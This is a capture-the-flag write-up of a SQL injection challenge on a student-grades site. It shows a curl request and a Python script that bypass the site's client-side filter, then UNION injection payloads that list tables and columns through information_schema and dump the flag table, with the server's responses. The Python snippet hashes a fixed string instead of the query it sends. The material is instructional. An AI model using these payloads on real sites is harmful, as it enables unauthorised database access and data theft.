This was a nice SQL injection challenge from TU CTF.
Challenge
We are trying to find out what our grade was, but we don’t seem to be in the database…
Can you help us out?
http://104.199.151.39/index.html
Solution
This challenge presents us with a web site for checking students grades by name. Hitting the search button with no text produces a long list of names, but no obvious candidates for a flag.
Checking the source of the page reveals an interesting bit of JavaScript:
<script>
document.getElementById('submit').addEventListener('click',
function(event){
event.preventDefault();
var input = document.getElementById('info');
//var query = 'SELECT * from Names where name=\'' + input.value + '\'';
var inp_str = input.value;
inp_str = inp_str.replace(/\W+/g, " ");
var md5_str = md5(inp_str);
var send_str = inp_str+' '+md5_str;
var post_data = {name: send_str, submit:1};
$.ajax({
type: "POST",
url: "/postQuery.php",
data: post_data,
success: function(data){document.getElementById('results').innerHTML=data;}
});
}
);
</script>
The code seems to strip non-alphanumeric characters out of the query string and concatenates an MD5 hash of the query onto the end of the string before sending it back to the server.
We can’t do anything useful with the query while the client side validation is messing with our input, so lets see if we can build our own interface to the server. We can fake the POST request with curl, we just need to calculate an MD5 for the query string:
curl -d "name=boby c83e4046a7c5d3c4bf4c292e1e6ec681&submit=1" http://104.199.151.39/postQuery.php
That works! The server responds with a helpful message:
<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%boby%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>boby tables</td><td>F-</td></tr>
However, building an MD5 for each query is boring, lets write some Python to do all the hard work and we can just feed it the query strings:
import requests, md5
m = md5.new()
m.update("tables")
r = requests.post('http://104.199.151.39/postQuery.php', data = {"name":query + ' ' + m.hexdigest(), "submit":"1"} )
print r.text
We get the same return from the server using this code, so now we can start fiddling with the SQL.
The SQL UNION operator is really handy here because it allows us to append additional queries as long as the column count matches any previous data. I also cribbed some queries from a MySQL injection CheatSheet
We start by seeing if we can append a second query:
Query: "tables%' UNION SELECT database(), @@version; -- "
<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%tables%' UNION SELECT database(), @@version; -- %';-->
<tr><th>Name</th><th>Grade</th></tr>
<tr><td>boby tables</td><td>F-</td></tr>
<tr><td>tuctf</td><td>5.5.49-0+deb8u1</td></tr>
Great Success! Now we know we have seen all the data in the grades table using the empty query on the web interface, lets see if we can list any other tables in the database:
Query: "tables%' UNION SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'; -- "
<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%tables%' UNION SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'; -- %';-->
<tr><th>Name</th><th>Grade</th></tr>
<tr><td>boby tables</td><td>F-</td></tr>
<tr><td>tuctf</td><td>tuctf_grades</td></tr>
<tr><td>tuctf</td><td>tuctf_info</td></tr>
<tr><td>tuctf</td><td>tuctf_junk</td></tr>
Awesome! There are two other tables for us to look at. Lets take a look at the column names for clues:
Query: "tables%' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'; -- "
<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%tables%' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'; -- %';-->
<tr><th>Name</th><th>Grade</th></tr>
<tr><td>boby tables</td><td>F-</td></tr>
<tr><td>tuctf_grades</td><td>name</td></tr>
<tr><td>tuctf_grades</td><td>grade</td></tr>
<tr><td>tuctf_info</td><td>item</td></tr>
<tr><td>tuctf_info</td><td>value</td></tr>
<tr><td>tuctf_junk</td><td>item</td></tr>
<tr><td>tuctf_junk</td><td>owner</td></tr>
Two columns per table. Excellent! No need to worry about columns, we can just dump the whole table with SELECT *:
Query: "tables%' UNION SELECT * from tuctf_junk; -- "
<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%tables%' UNION SELECT * from tuctf_junk; -- %';-->
<tr><th>Name</th><th>Grade</th></tr>
<tr><td>boby tables</td><td>F-</td></tr>
<tr><td>A random server</td><td>Bob</td></tr>
Nothing useful there, lets take a look in the other table:
Query: "tables%' UNION SELECT * from tuctf_info; -- "
<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%tables%' UNION SELECT * from tuctf_info; -- %';-->
<tr><th>Name</th><th>Grade</th></tr>
<tr><td>boby tables</td><td>F-</td></tr>
<tr><td>flag</td><td>TUCTF{v4ccinate_y0ur_databa5e5}</td></tr>
There’s our flag! TUCTF{v4ccinate_y0ur_databa5e5}